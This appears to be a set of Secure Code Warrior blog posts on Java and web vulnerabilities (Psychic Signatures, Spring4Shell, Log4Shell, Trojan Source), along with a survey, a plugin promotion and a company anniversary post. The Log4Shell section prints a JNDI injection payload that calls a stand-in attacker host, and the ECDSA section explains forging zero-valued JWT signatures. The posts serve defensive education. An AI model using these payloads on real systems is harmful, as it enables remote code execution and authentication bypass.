On April 19th 2022, Neil Madden disclosed a vulnerability in Oracle Java 15 through 18, and OpenJDK 15, 17, and 18. The vulnerability lies in the cryptography for ECDSA signatures, which allows an attacker to bypass signature checks entirely for these signatures. 

It’s easy to see headlines about this vulnerability and skim right past them given the obscure nature of ECDSA signatures. However, ECDSA signatures actually play a key role in protecting systems across the internet for critical tasks like authentication.

Before we dive into details, if you want to experience how hackers exploit Psychic Signatures in a hands-on way. Jump straight into our free lab - Missions to try it out yourself.

What’s the big deal with ECDSA?

You may not have heard of ECDSA before. It’s the short name for Elliptic Curve Digital Signature Algorithm, which is a type of cryptography that makes use of the mathematical properties of elliptic curves, offering some of the strongest cryptographic security in the industry at the moment.

This means that it’s used for a lot of important functions, like:

• The signing of SSL certificates
• Handshakes during encrypted communications
• SAML
• JWT signatures
• OpenID Connect signatures

This means that ECDSA is a key part of many of the most sensitive functions for protecting systems out there. The ability to bypass signature checks would be potentially quite devastating.

How is the vulnerability exploited?

The mathematics of ECDSA is somewhat complicated, unfortunately. But the key thing to know is that an ECDSA signature contains 2 pieces of information: r, and s. 

These numbers are used to calculate the validity of the signature. The value r is the “result” (left side) of a calculation using both r and s on the right side of the equation. Given that multiplying by 0 is a bad idea, the ECDSA specification explicitly calls out that if the value of r or s is ever 0, they should be discarded. 

But the Java implementation of ECDSA forgot to take this into account. As such, it will accept a signature with both r and s is 0, which will always be true. We can demonstrate this with an example of a JWT, showing just how easy it is. Using https://token.dev/, we can generate a token with the algorithm ES256, similar to one that would be generated  by an application:

Recall that a JWT is split up into 3 parts:

• Header (in blue)
• Payload (in green)
• Signature (in red)

Now, if we wanted to bypass the signature check, how would we go about this? The signature specifies the values for r and s, and is encoded in the DER format. 

Let’s change our JWT to use this new signature. Note that in JWTs, the equal sign is not included.

Now, our signature has r and s set to 0, and in vulnerable versions of Java the signature check will now succeed for any payload you specify. 

Who’s affected, and how to mitigate it?

The vulnerability affects both Oracle Java and OpenJDK. These include:

Oracle Java SE (And older, non-supported versions): 

• 18

• 17.0.2

Oracle GraalVM Enterprise Edition: 

• 22.0.0.2
• 21.3.1

OpenJDK:

• 18
• 17.0.2
• 15.0.6
• 13.0.10
• 11.0.14
• 8u322
• 7u331

Both Oracle and OpenJDK have put out advisories, and patches for the issue that can be applied right away. 

Hands-on practices to defend against this vulnerability

Here at Secure Code Warrior, we strive to provide developers the most relevant information and hands-on exercises for critical vulnerabilities, whether it is a latest one like Psychic Signatures or something that’s been around for years.

We believe that, to truly keep risk at bay, it is necessary to enable developers to understand the defense mechanism and write secure code from the start. That’s why we create a step-by-step walkthrough of this vulnerability (and many others) for you and the teams that are impacted. 

In the walkthrough, you will be able to follow the instruction to exploit the Physic Signature in JWTs and see the impact to a functioning app in real-time.

Try it out now.

‍

When it comes to security and protecting your data, rapid responses to the latest development is critical. After all, hacks and threats can come at any time so it’s important to stay vigilant. Here at Secure Code Warrior, we strive to provide you with up to date information on the latest vulnerabilities, what steps to take to mitigate risk and how to protect your users. Just like with the recent announcements to help you with the Spring library vulnerabilities, we’re here to discuss 2 newly discovered vulnerabilities. 

Today we are focusing on 2 new vulnerabilities: first Microsoft’s Server Message Block known as “Windows RPC RCE” and second, NGINX known as “LDAP Reference Implementation.”

Read on to learn what we know about these vulnerabilities so far and what you can do to mitigate your risk. 

Microsoft Windows RPC RCE - CVE-2022-26809

During April’s Patch Tuesday, Microsoft disclosed a vulnerability in their Server Message Block (SMB) functionality, specifically the part handling RPCs. This may sound familiar to you, as the vulnerability is similar to CVE-2003-0352 - an exploitation used by the worm blaster all the way back in 2003! 

What is the level of risk and likelihood for exploitation?

Microsoft’s advisory has indicated that “Attack Complexity” is “Low”, and assessed exploitation risk to be “Exploitation More Likely”, the highest level in the absence of proven exploitation in the wild. 

Currently, there are no known exploitations but due to the low attack complexity and “more likely” exploitation assessment, there are concerns that malicious actors could quickly and easily take advantage through Blaster attacks.  

Researchers have identified a large number of hosts on the public internet with port 139/445 accessible, which is quite worrisome if large-scale exploration were to occur. 

What steps should users take to mitigate risk?

Luckily, mitigating the risk of being exploited by this vulnerability is relatively easy. 

1. Ensure that you block access to port 139 and 445 from the internet and when access is needed, limit it to internal access only. You can find more details from Microsoft’s documentation here. 
2. Apply the patches released by Microsoft on April 12th, 2022.

NGINX - LDAP Reference Implementation RCE

NGINX disclosed on April 11, 2022, a new vulnerability known as “LDAP Reference Implementation RCE” that allows for Remote Code Execution (RCE) on the system.

What is the vulnerability?

This vulnerability is unique because it does not affect code that is meant to be used in production or commonly sensitive systems. Rather, as “reference implementation” in the name indicates, the purpose of the code is to demonstrate how LDAP integration can work in an NGINX setup.

Who is at risk and what should you do to protect your code?

Fortunately,  NGINX is not vulnerable by default. The primary risk is when the LDAP extension is installed. Even then, multiple other conditions also need to be true for the vulnerability  to be exploitable. One action that we recommend taking is if you use the reference implementation, make sure to switch to using a production-ready implementation. 

For full details, check out the NGINX disclosure.

Vulnerabilities leaving you feeling exposed? We can help.

From today’s Windows RPC RCE and NGINX - LDAP Reference Implementation RCE to last month’s Spring vulnerabilities, it’s clear that software vulnerabilities are ever present. 

Most companies focus on rapid response strategies to mitigate risk to code and customers, but that has a reactive approach that while important can leave you at risk. We believe that a proactive strategy for building secure code, upskilling your developers, and creating a security focused culture is the best way to protect yourselves against threats. 

Emphasizing developer-driven security at the start of the software development lifecycle will lead to increased protection, more efficient code deployment, and saving you time and money.

Secure Code Warrior is here to help with our unique training platform that goes from educational content to hands-on applications of the new skills your team is learning.  

Discover how Secure Code Warrior learning platform can help train your developers in secure coding. 

‍

‍

Recently, Spring libraries, one of the most popular libraries in the Java community, disclosed 2 vulnerabilities related to Remote Code Execution (RCE). To help make it easier for you to understand if you are at risk for either vulnerability and what actions to take, we’ve broken down the known details for “Spring4Shell” and “Spring Cloud Function.”

Vulnerability 1 - “Spring4Shell” (CVE-2022-22965)

On March 29th, 2022, the community discovered a series of tweets containing screenshots of a proof of concept of an exploit targeting Spring Core (SC) , which allows for Remote Code Execution for all versions of Spring Core, including the most recently released version, 5.3.17.

What applications are at risk?

Currently, only applications being hosted on Tomcat are confirmed to be at risk to this new exploit. While the exploitation has not been demonstrated as successful against the Embedded Tomcat Servlet Container, or any other non-Tomcat hosted applications, that does not rule out the possibility of the threat proving successful in the future to these frameworks. 

Spring released an official statement about the vulnerability, which clarifies that the following conditions need to be met to be vulnerable, according to the current understanding of the vulnerability:

• JDK 9 or higher
• Apache Tomcat as the Servlet container
• Packaged as a traditional WAR (in contrast to a Spring Boot executable jar)
• spring-webmvc or spring-webflux dependency
• Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions

How does the “Spring4Shell” exploitation work?

The exploitation relies on using “Data Binding” (org.springframework.web.bind.WebDataBinder) in requests that make use of Plain Old Java Objects (POJO) in the method signature:

Where the Foo class is a POJO class, which could be defined as the following. Note that the actual class isn’t important, as long as it’s loaded by the Class Loader. 

When a request is handled by a method like this, the Class Loader is used to resolve the class. The Class Loader is responsible for loading classes at runtime, without having to preload all possible types into memory first. It figures out which .jar file to load when a new class is used. 

You can find the most up to date and in-depth information about this vulnerability directly from Spring on their blogpost, including potential fixes or workarounds.

Vulnerability 2 - Spring Cloud Function (CVE-2022-22963)

On March 27th 2022, Cyber Kendra disclosed details about a 0-day Remote Code Execution (RCE) vulnerability in Spring Cloud Functions for which no patch existed. The vulnerability was assigned the ID CVE-2022-22963: Spring Expression Resource Access Vulnerability.

What applications are at risk?

The vulnerability affected applications under these conditions:

• JDK 9 or newer
• Spring Cloud Functions version 3.1.6 (or lower), 3.2.2 (or lower), or any unsupported version 

How does the exploitation work?

Spring Cloud Function provides the capability for developers to configure how routing is handled through the property ​​spring.cloud.function.routing-expression, usually done through configuration, or code. This is a powerful capability that accepts the “Spring Expression Language” (SpEL). Through this 0-day vulnerability, we have learned that this property could be set through the HTTP headers of a request, which meant that an attacker could embed SpEL code directly in their HTTP request to a RoutingFunction endpoint, and thus execute arbitrary code. 

What steps should users take to mitigate risk?

Spring has released versions 3.1.7 and 3.2.3 to address this issue by not allowing this property to be set through HTTP headers, mitigating the vulnerability. After upgrading to either version, no additional steps are necessary.

Interested in learning more about how we help developers write more secure code? Book a demo or explore our free secure coding guidelines on secure code coach.

‍

Sources

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

‍

The growing number of cybersecurity attacks, as well as their increased sophistication, has fueled change in every sector and industry around the world. Everyone is trying to “shift left,” putting security into all of their processes and procedures as early as possible. The situation has even fostered entirely new movements meant to improve cyber defenses like DevSecOps, where security is built into the very fabric of creating new software and applications. 

Many of these shifts are landing at the feet of the developer community. Because they are the ones who create, write, and code new software and applications, asking them to adopt more secure coding practices seems like a great idea. After all, you can’t shift left any farther than when new applications are first created.

But how does the developer community feel about that responsibility? Having traditionally been evaluated almost exclusively based on how quickly they could code, what do developers now think about their new role as security champions? And do they feel like the management at their companies are supporting those efforts with quality training, enhanced rewards, and the recognition they deserve for taking on this critical new responsibility?

For the 2nd year, we partnered with Evans Data Corp. to conduct a comprehensive survey of the global developer community related to the skills, perceptions, and behaviors when it comes to secure coding practices, and their perceived impact and relevancy in the software development lifecycle (SDLC). The results were quite surprising in a lot of ways.

The State of the 2022 Developer-Driven Security Survey  

The Secure Code Warrior State of Developer-Driven Security Survey was conducted by Evans Data Corp in December of 2021. Questions about software coding, security awareness, training, support, motivations, and other issues were asked of 1,200 active software developers working in the Asia-Pacific region, Europe and North America. The survey was given in English and translated when needed to obtain an accurate global perspective. Survey respondents included developers who are creating new applications as well as managers from within the development community.

Some Surprising Findings

A detailed white paper (The challenges (and opportunities) to improve software security) and report  (The state of developer-driven security, 2022) that delves into every aspect of the survey will be released on Monday 11th April. The whitepaper includes our analysis of the findings and concerns raised by the community regarding secure coding practices, with recommendations for organizations to empower developer teams to improve software security. 

Some of those challenges are likely to raise questions for anyone working with developers at their organizations as well as those who are within the development community themselves - they certainly did for us. 

For example, just 14% of respondents listed application security as a top priority today. Instead, more traditional metrics such as application performance and the prioritization of features and functionality remained their overall focus.

Security had such a low priority that 67% of developers surveyed admitted that they routinely left known vulnerabilities and exploits in their code. They did that either because of tight deadlines, prioritizing functionality over security, or because they simply did not have the required training or knowledge about how to fix security problems.

In many cases, developers stated that their organizations did not define what constituted secure code, and did not provide adequate training or support to change that situation.

However, despite some of the negative findings, it was also clear that attitudes are changing. A large majority of developers (66%) expected security to become more of a priority over the next 12 to 18 months, while 82% of hiring managers who took the survey expressed an interest in hiring developers who knew security over those who did not.

While it's clear from the survey results that the developer community and the organizations they work with are facing a tremendous amount of change, plans for the near and long-term future are thankfully also rapidly taking shape.

Stay tuned for the whitepaper and report detailing the complete survey results as well as expert commentary on the challenges around current secure coding practices, and the opportunities that organizations can embrace to improve developer security skills - and ultimately software security.

Check out the Secure Code Warrior blog pages for more insight about cybersecurity, the increasingly dangerous threat landscape, and to learn about how you can employ innovative technology and training to better protect your organization and your customers. 

‍

In the beginning of November, the University of Cambridge released their research called Trojan-Source. This research focused on how backdoors can be hidden in source code and comments, using directional formatting characters. These can be used to craft code for which the logic is interpreted differently by the compiler than a human code reviewer.

This vulnerability is new—although Unicode has been used nefariously in the past, such as by hiding the true filename extension of a file by reversing the direction of the last part of a filename. The recent research revealed that many compilers will ignore Unicode characters in source code without warning whereas text editors, including code editors, may reflow lines containing comments and code based on them. Thus the editor may display the code and comments differently, and in a different order, from how the compiler will parse it—even interchanging code and comments.

Read on to find out more. Or if you would like to roll up your sleeves and try out simulated hacking of Trojan Source, jump into our free and public mission to experience it for yourself.

Bidirectional text

One of these Trojan-Source attacks makes use of the Unicode Bidi (bi-directional) algorithm, which handles how to put together text with a different display order, such as English (left to right) and Arabic (right to left). Directional formatting characters can be used to reorganize the grouping and display the order of characters.

The table above contains some of the Bidi override characters relevant to the attack. Take for example,

RLI e d o c PDI

The abbreviation RLI stands for Right-to-Left Isolate. It will isolate the text from its context (delimited by PDI, Pop-Directional-Isolate), and will read it from right to left. Resulting in:

c o d e

Compilers and interpreters, however, do not typically process formatting control characters, including Bidi overrides, prior to parsing source code. If they simply ignore the directional formatting characters, they’ll parse:

e d o c

Old wine in new bottles?

Of course, this is nothing new under the sun. In the past, directional formatting characters have been inserted in file names to disguise their malicious nature. An email attachment displayed as 'myspecialexe.doc' might look innocent enough, were it not for the RLO (Right-to-Left override) character present which reveals the real name to be 'myspecialcod.exe'.

The Trojan Source attack inserts directional formatting characters in comments and strings present in the source code, as these won't generate any syntax or compiling errors. These control characters change the display order of logic of the code causing the compiler to read something entirely different than a human would.

For example a file containing the following bytes in this order:

will be reordered as follows by the directional formatting characters

causing the code to be rendered like this if directional formatting characters are not explicitly called out:

The RLO flips the closing brace to an opening brace, and vice versa in the last line. The result of executing this code would be: “You are an admin”. The admin check was commented out, however the control characters give the impression it was still present. 

(Source: https://github.com/nickboucher/trojan-source/blob/main/C%23/commenting-out.csx)

How could this affect you?

Many languages are vulnerable to the attack: C, C++, C#, JavaScript, Java, Rust, Go, and Python, and it is assumed that there are more. Now, the average developer might frown upon seeing directional formatting characters in source code, but a novice might just as well shrug their shoulders and think nothing of it. Moreover, the visualization of these characters is highly IDE dependent, so it's never a guarantee they’ll be spotted.

But how could this vulnerability sneak into the source code in the first place? First and foremost, this can happen when using source code from untrustworthy sources, where malicious code contributions have gone unnoticed. Secondly, it could happen by a simple copy-paste from code found on the internet, something most of us developers have done before. Most organizations rely on software components from multiple vendors. This poses the question to what extent can we fully trust and rely on this code? How can we screen for source code that contains hidden backdoors?

Whose problem is it?

On the one hand, compilers and build pipelines should disallow source code lines with more than one direction, unless one direction is strictly limited to strings and comments. Note that a directional formatting character in a string or comment can, if not popped, extend a direction change until the end of the line. In general, code editors should explicitly render and highlight suspicious Unicode characters, such as homoglyphs and directional formatting characters. Since November, GitHub now adds a warning sign and message to every line of code containing bi-directional unicode text, although it does not highlight where in the line these characters are. This may still allow malicious direction changes to sneak in along with benign direction changes.

Awareness amongst developers and code reviewers is essential, which is why we have created a walkthrough illustrating the vulnerability. Currently this walkthrough is available for Java, C#, Python, GO, and PHP.

So if you want to know more, try out our simulation (public missions) of Trojan Source, and read the Trojan Source research.

Simulation in Java

Simulation in C#

Simulation in PHP

Simulation in GO

Simulation in Python

Be a more productive Java developer

With 9 million developers globally*, Java (Oracle Corporation) is among the most popular programming languages in the world. Many application frameworks have been built on Java because it is a very versatile language that can run programs on many different devices that support Java Runtime Environment (JRE) - an environment in which all Java programs run. The developer-led communities are very active and the in-depth support available to new programmers contributes to its ever-growing popularity.

Since Java has been around for a long time, the communities have spent years developing standards, tools, coding patterns, and mitigating common mistakes that developers face time and again. All such community-led initiatives have one common objective - to help developers be as productive as possible when they are developing applications with Java. But when it comes to applying the best practices or patterns in application code, the responsibility lies with the developer. The enforcement of good practices is quite varied and therefore makes it difficult to have a standard approach to a coding practice when opinions differ a lot within the communities. The developers resort to finding help in online communities which sometimes can, inadvertently, give you insecure solutions to your coding problems.

To help developers implement secure solutions to common Java coding problems, we created Sensei - an IntelliJ plugin to correct bad coding patterns as per recipe (or rules) defined by you or your organization in a professional environment. Sensei enables developers to identify and correct common Java mistakes (gotchas) with a single click.

Continue reading to know how Sensei increases developer productivity by resolving some common Java coding mistakes.

A recurring mistake that frustrates developers

One example of those common mistakes is the incorrect equality check of wrapper values. Values of boxed primitives should be compared using the equals method instead of the reference comparison operator (==) to prevent unexpected results.

As an example, using the reference comparison operator for Integer values in the range -128 to 127 will (usually) behave the same as the equals method. However, if we perform the same comparison with values outside this range, the results will differ. This is due to Java maintaining a constant pool for the mentioned range of Integer values. Using the equals method will always yield the expected results and is therefore the right way to compare.

In this example, we are incorrectly using the operator (==) to check equality.

Which results in the following output:

true

false

false

true

The right way to compare is to use the equals method.

And then the output would be:

true

false

true

false

This well-known best practice has been around for quite some time and yet is often implemented incorrectly in legacy code waiting to raise its ugly head at the most inopportune time. So we created recipes (or rules) that help identify such undesirable coding patterns locally and apply a fix with a single click using Sensei.

Sensei is a highly customizable IDE plugin to scan and fix undesirable code as you type - with hundreds of downloadable code transformations and migration recipes (rules) as well as an in-built ability to craft your own. With Sensei, developers can remediate bad code patterns as they type so that they can deliver quality code faster and, ultimately write it in a consistent and standard way across teams and projects.

How Sensei fixes such common Java issues

As Sensei allows you to create your own recipes, we created a recipe to correct the above-mentioned mistake.

For this example, we want to find where we are using the comparison operator (==) in boxed primitive type.

A Sensei recipe looks like this (in YAML):

The above can search for the recurring bad pattern as you type or the entire file, configured scope, and even, the full codebase. Once the pattern is found, the natural next step is to be able to fix it instantly without having to search online. Sensei enables you to create fixes that can add/edit/delete code as specified. You can even provide multiple fixes as you see fit allowing developers to choose the most appropriate fix as they see fit.

In our example, we want to rewrite the comparison using the equals method instead of the operator (==).

An available fix is described like this:

How it works:

Implementing standard coding guidelines the easy way

Java Gotchas Cookbook has 22 recipes to help you to avoid common mistakes and keep your code clean and safe. It detects incorrect or unsafe use of various Java language features and APIs, such as object equality, exception handling, regular expressions and collections. By adopting Sensei and this cookbook, you can start writing better code from the start and even, create your own recipes to suit your unique team, project, or organization.

This is just one example of the many ways Sensei can be used to standardize your projects. You can always be on the lookout for anti-patterns or certain manual code transformations that you frequently come across in pull requests or as you code yourself. If you have a set of coding guidelines that are often missed by developers then you could convert the guidelines into recipes - enabling developers to apply approved code transformations with confidence.

Install Sensei now and enable Java Gotchas Cookbook for a productive development experience. https://sensei.securecodewarrior.com/cookbooks/scw:java

*2021, State of Developer Nation, https://www.developernation.net/developer-reports/de20

‍

Today is our seventh birthday, and although a cliche, I can’t believe how fast time has flown. It doesn’t seem too long ago that we were celebrating our first big enterprise client (that presented me with 50 pages of legal terms that I had no clue how to action), or attending trade shows as the new kid on the block with a cool ‘S’ logo, complete with crappy swag; Fatemah tells me to this day that inflatable swords were a bad business decision (for the record, I still disagree). 

This start-up, to scale-up, to high-growth venture ascension has been an exercise in learning rapidly, staying resilient, not caring about the copy-cats, and not being afraid to experiment and back ourselves. We’ve felt the force of global challenges along with everyone else, and while they were certainly character-building for the business, I remain proud of how we continue to adapt and help our clients shape the developer-driven elements of their security programs.

Our birthday milestones are a wonderful reminder to reflect on the fruits of our labor, celebrate the team, and tackle the year ahead with confidence. And now, seven years since inception, I’m left wondering: Have we done it? Is this a real company yet? Of course, we have reached maturity, but I sure hope we never lose the sense of curiosity, passion, and geekiness we’ve had since the beginning.

Now, what did we get up to in the past year?

300,000 developers have engaged on our platform

The thought of 300,000 developers engaging with the Secure Code Warrior Learning Platform is very motivating, not just because it’s great to see the developer community embracing our offering, but because it speaks to a bigger shift in industry sentiment towards preventative security, with engineers in the box seat to make a difference.

Developer enablement and engagement in security are vital in the fight against common vulnerabilities, and I look forward to seeing another zero on that user number sooner rather than later. We were (and are) dedicated to providing a holistic, scaffolded learning experience that builds lasting skills and awareness, and is dynamic enough to flex with the needs of businesses and the threat landscape. We do have a long road ahead though … there are more than 20 million+ developers, growing rapidly every year.

We were inducted into JPMorgan Chase & Co’s 2021 Hall of Innovation

We were delighted to be recognized by our long-standing client, JPMorgan Chase, for the significant business impact we have had on their engineering team in secure coding. To assist such an enormous organization in their delivery of high-quality, secure software to their customers and investors has been one of the key highlights not just in the past year, but during their tenure as customers.

Our first annual Devlympics was a roaring success

We’ve been floating the idea of an online global secure coding tournament for a while, and during Cybersecurity Awareness Month, we brought it to life in the form of our inaugural Devlympics. 

A 14-hour celebration of security-skilled developers competing for epic prizes, as well as commentary and presentations by security experts from Allianz, Atlassian, Contrast Security, Datacom, and Sonatype to name a few, it was a brilliant way to engage the community and have a lot of fun along the way. Next year will be bigger and better, so keep an eye out for registrations in the second half of 2022.

We reached 450 enterprise customers 

This is an incredible milestone by any measure, and shows that so many companies in wide-reaching verticals - everything from financial services to car manufacturing, apparel, to agriculture - are turning to preventative cybersecurity measures as part of their strategy, and developer enablement in secure coding is a key part of it. 

We hired some truly awesome leaders to take us to new heights

It means a lot to me that we can attract the kind of talent that not only levels us up from a skills and strategy perspective, but also helps to lead and inspire the rest of the business into the future demonstrating a globally spread and diverse management team can make things happen.

2021 saw us appoint Junie Dinda to the role of Chief Marketing Officer. As a former VP of Marketing for Atlassian’s JIRA, Confluence, and BitBucket products, her deep tech expertise and global track record makes her a brilliant addition to the team.

We also welcomed ex-Zendesk Erica Wass as our new VP of Product. With her extensive background in driving leadership and product strategy for a range of successful tech companies - not to mention receiving recognition as a Leading Woman in Product in Australia in 2018 - she brings an infectious passion for technology and innovation to the team.

Fabio Gavilondo, our VP of Engineering, is another fantastic leader and technologist we have welcomed to the fold. His expertise in DevOps and bringing software of the highest standard to market in companies all over the world are vital qualities as we seek to exceed industry expectations. 

Apart from new energy in my management team, I am also extremely proud of one of the SCW founders, Fatemah Beydoun, being promoted to Chief Customer Officer and Anneke Loubser now successfully leading our People & Culture teams across the globe. 

Mum 

I remember my mum calling me a few years ago, and she was very excited. She went on to tell me that she had driven past the building containing our first office in Bruges, and she had noticed the Secure Code Warrior signage in the window. “You’re a real company now!”, she said. 

I think I am finally starting to believe her, and I can’t wait to share the next chapter with you.

After just a few minutes of browsing tech news, it will quickly become clear just how dangerous the threat landscape is becoming. Every day seems to bring with it a report of a major breach, a new vulnerability, or a dire threat of active exploitation by cyberattackers and criminals. And almost every industry metric and report shows an increasingly dangerous number of cyber threats, with most experts predicting that this trend will continue for years to come.    

Lined up against these new threats is a depleted and understaffed frontline of IT security workers. Despite commanding high salaries and being nearly indispensable to any business or organization, there is never enough security personnel to go around. In a recent survey conducted by the Center for Strategic and International Studies, 82% of IT decision-makers said their organizations suffered from a shortage of cybersecurity skills, and 71% said that the shortage had resulted in direct and measurable damage to their organizations. In just the United States alone, the report noted that there were more than 520,000 unfilled cybersecurity jobs in a field where only about 940,000 are employed.

Worldwide, there are currently about 3.5 million cybersecurity jobs that are unfilled, meaning that even organizations that are willing to pay huge amounts of money to hire and retain top-level professionals are having trouble locating suitable candidates. On average, it takes about 21% longer to fill a cybersecurity position than any other job, if they can be filled at all.

Developer enablement has been ignored for too long

We noted in many previous blogs that developers can be tapped to fill in some of those critical gaps in cybersecurity defenses. It’s just that traditionally developers were never trained on cybersecurity. Their job performance was almost entirely based on speed and time to deployments. Security was the job of the AppSec teams further down the line.

Unfortunately, it’s not just a matter of switching gears and asking developers to suddenly begin adding security into their applications and programs. Even if they are willing to make those changes, and surveys have shown that many of them are, they still need training in order to make that happen. They also need encouragement and support from upper management, but being enabled with meaningful learning is the first, and often the largest, stumbling block.

There is a reason that millions of high-paying, highly secure IT security positions remain unfilled worldwide. If it was easy work, everyone would be jumping into that field. Learning how to combat threats and eliminate vulnerabilities within code is difficult, and the threat landscape is constantly changing. Trying to teach cybersecurity, even to relatively tech-savvy developers, can’t be efficiently done using static training that dates quickly and isn’t memorable, and will have a minimal positive impact, especially if those requirements are added to their already overtaxed schedules.

Build a scaffold to reach higher ground

Teaching cybersecurity skills using traditional methods is like trying to build a skyscraper without ever taking your feet off the ground. It’s not possible because students don’t have the foundation needed to master the many higher-level concepts of a complex field like cybersecurity. To compensate, the concept of scaffolded learning can be employed.

When using a scaffolded, or “layered” approach to upskilling, larger topics are typically broken down into discrete learning experiences or concepts. This ensures that students are able to master each concept using appropriate exercises and instruction, providing all the support needed for each component. Newer, more advanced concepts are layered on top of those already mastered, just like physical scaffolding is constructed as a building grows higher. In this way, students are able to achieve higher levels of comprehension and skill acquisition than they would be able to master without assistance.

And just like physical scaffolding, that support is incrementally removed when it is no longer needed, with more responsibility to the students as they become increasingly proficient.

Scaffolded learning is primarily used to reduce the negative emotions and self-perceptions that students may experience when they get frustrated, intimidated, or discouraged when attempting a difficult task without assistance. But it also can hold a lot of value when trying to tackle an extremely difficult concept like modern cybersecurity. Far from being a way to treat developers like children, it’s immensely helpful when their experience with the security team can have the same effect of being frustrating and discouraging, especially when their hard work is sent back with bug fixes and a fresh serving of criticism. 

When developers are given tools to understand secure coding fundamentals (usually starting with the OWASP Top 10), they can see for themselves how security bugs happen, why they’re dangerous, and how to remediate them before they end up in production. From there, they can expand their knowledge by tackling more complex vulnerabilities, and getting practical experience in applying good fixes. The layers grow, bit-by-bit, and then when it comes to advanced security issues like insecure software architecture, or engaging in threat modeling, these leaps don’t seem so intimidating and can be tackled with precision. 

As an industry, we should never expect developers to become security experts, but organizations can adopt new standards for developer enablement so they can produce higher quality software. As an added bonus for organizations with engineering who are upskilling, each step of the way, or each level of scaffolding, will directly translate to better cybersecurity as they learn. There is no need to wait until the end of a course to see results.

Learning about cybersecurity is difficult, and mastering it is nearly impossible without the right kind of help and instruction. Embracing a security program with scaffolded learning can help make the most of, with benefits becoming evident almost right away. Improvements will start almost immediately, and continually get better over time.

Start building security-strong developers with us; check out:

Courses
Missions
Developer training

... and more!

On December 9th, a 0-day exploit in the Java library Log4j was disclosed. CVE-44228, dubbed Log4Shell, received a “high severity” rating as the exploit can result in remote code execution (RCE). Moreover, log4j-core is one of the most common Java logging libraries being used, and therefore it puts millions of applications at risk.

Want to quickly level up your skills in tackling Log4Shell? 

We have built a showcase that takes you from the basic idea of Log4Shell to experiencing the exploits of this vulnerability in a simulator called, Mission. In this Mission, we will walk you through how the Log4j Vulnerability can impact your infrastructure and applications. Click here to jump right in the showcase, or continue reading to learn more about the vulnerability in detail.

Old news?

The exploit is not new. Already in their 2016 BlackHat talk, security researchers Alvaro Muñoz and Oleksandr Mirosh emphasized that “applications should not perform JNDI lookups with untrusted data”, and illustrated how a targeted JNDI/LDAP injection could lead to remote code execution. And this is exactly what lies at the core of Log4Shell.

Attack vector

Log4Shell’s injection payload looks like this:

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

Next, there is JNDI, or Java Naming and Directory Interface, which is an API that allows connecting with services using protocols such as LDAP, DNS, RMI, etc. to retrieve data or resources. Simply put, in our malicious payload example above, JNDI performs a lookup against the attacker-controlled LDAP server. Its response could, for example, point towards a Java class file containing malicious code, which will in return be executed on the vulnerable server.

What makes this vulnerability so problematic is that Log4j evaluates all log entries, and it will perform lookups of all logged user input written in EL syntax prefixed with “jndi”. The payload can be injected in any place where users can input data, such as form fields. Also, HTTP headers, such the User-Agent and X-Forwarded-For, and other headers, can be customized to carry the payload.

To experience the exploit yourself, head over to our showcase and jump into step 2 - "Experience impact".

Prevention: Awareness

Upgrading is the recommended action for all applications, as Log4j has been patching up the vulnerable code. Versions 2.15.0 and 2.16.0, however, contained a DDoS and other vulnerabilities, which means that as of late december, it is recommended to upgrade to 2.17.0.

As developers writing code, we need to take security into account at all times. Log4Shell has taught us that there are risks involved when using third party frameworks or libraries. We need to be conscious of the fact that the security of our application can be compromised by using external sources, which we naively assume to be secure. 

Could this vulnerability have been prevented? Yes and no. On the one hand, developers can only do so much as vulnerable components are being introduced via third party software. On the other hand, the lesson learned from this, is one that has been repeated over and over, i.e. to never trust user input.

Secure Code Warrior believes that security minded developers are the best way forward to prevent vulnerabilities in code from happening. Because SCW provides programming framework-specific training in scale, enterprise customers have been able to quickly locate who the impacted Java developers are by utilizing the reporting data. They also relied on their SCW-trained security champions to accelerate upgrading Log4j.

For Java developers in particular, Secure Code Warrior offers Sensei, a free IntelliJ-plugin. This rule-based code analysis tool can be used to enforce coding guidelines, and prevent and remediate vulnerabilities. You can create your own rules, or use our ready-made cookbooks. Browse through our recipes, and do not forget to download our Log4j cookbook which will help you locate and fix the Log4Shell vulnerability in the blink of an eye.

Level up your skills in defending against Log4Shell

Interested in putting what you learned in this blog post into practice? Our showcase can help you. At the start of the showcase, you will have a quick review of this vulnerability, and then you will be taken to a simulated environment where you can try the exploit with guided instructions.

‍